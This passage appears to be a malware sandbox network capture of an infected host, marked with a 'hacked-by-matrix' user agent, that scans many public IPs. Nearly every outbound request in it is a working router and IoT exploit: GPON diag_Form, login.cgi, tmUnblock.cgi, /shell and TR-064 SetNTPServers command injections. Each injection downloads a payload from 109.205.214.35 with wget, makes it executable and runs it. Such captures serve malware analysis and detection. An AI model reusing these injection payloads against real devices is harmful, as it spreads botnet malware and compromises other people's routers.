Mar 21, 2024 05:23:05.663646936 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:23:05 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
888	192.168.2.13	51018	5.226.254.251	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.676440954 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
889	192.168.2.13	38118	42.143.52.67	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.676465034 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
890	192.168.2.13	46324	118.201.165.94	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.676480055 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
891	192.168.2.13	42044	5.77.231.49	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.676481009 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
892	192.168.2.13	48414	34.149.110.189	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:05.899384975 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
893	192.168.2.13	51674	52.203.198.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.223748922 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:06.733447075 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:06.828265905 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:23:06 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
894	192.168.2.13	59434	172.64.82.175	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.379319906 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:06.896236897 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
895	192.168.2.13	58282	172.65.180.55	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.724857092 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
896	192.168.2.13	43530	172.65.52.240	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:06.813338041 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
897	192.168.2.13	54838	185.202.178.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.171505928 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:07.371170044 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:24:20 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
898	192.168.2.13	48708	2.140.223.57	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.480463982 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:07.726763964 CET	684	IN	HTTP/1.1 500 Internal Server Error Server: gSOAP/2.7 Content-Type: text/xml; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 0a 3c 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 56 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 78 6d 6c 6e 73 3a 53 4f 41 50 2d 45 4e 43 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 20 78 6d 6c 6e 73 3a 78 73 69 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 2d 69 6e 73 74 61 6e 63 65 22 20 78 6d 6c 6e 73 3a 78 73 64 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 22 20 78 6d 6c 6e 73 3a 63 77 6d 70 3d 22 75 72 6e 3a 64 73 6c 66 6f 72 75 6d 2d 6f 72 67 3a 63 77 6d 70 2d 31 2d 30 22 3e 3c 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 20 53 4f 41 50 2d 45 4e 56 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 66 61 75 6c 74 63 6f 64 65 3e 53 4f 41 50 2d 45 4e 56 3a 43 6c 69 65 6e 74 3c 2f 66 61 75 6c 74 63 6f 64 65 3e 3c 66 61 75 6c 74 73 74 72 69 6e 67 3e 4e 6f 20 58 4d 4c 20 65 6c 65 6d 65 6e 74 20 74 61 67 3c 2f 66 61 75 6c 74 73 74 72 69 6e 67 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 46 61 75 6c 74 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 42 6f 64 79 3e 3c 2f 53 4f 41 50 2d 45 4e 56 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:cwmp="urn:dslforum-org:cwmp-1-0"><SOAP-ENV:Body><SOAP-ENV:Fault SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><faultcode>SOAP-ENV:Client</faultcode><faultstring>No XML element tag</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
899	192.168.2.13	59470	172.64.82.175	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.492182970 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
900	192.168.2.13	59974	175.238.89.134	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.500885963 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:09.005492926 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
901	192.168.2.13	38452	172.67.90.157	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.579859972 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
902	192.168.2.13	39106	184.161.13.244	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.701253891 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
903	192.168.2.13	39914	184.189.45.143	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.708723068 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:23:07.837249041 CET	59	IN	HTTP/1.1 400 Bad Request Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
904	192.168.2.13	44230	172.65.252.192	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.718832970 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
905	192.168.2.13	57468	172.65.14.66	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.718853951 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:23:07.998101950 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
906	192.168.2.13	48740	2.140.223.57	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:07.726866961 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
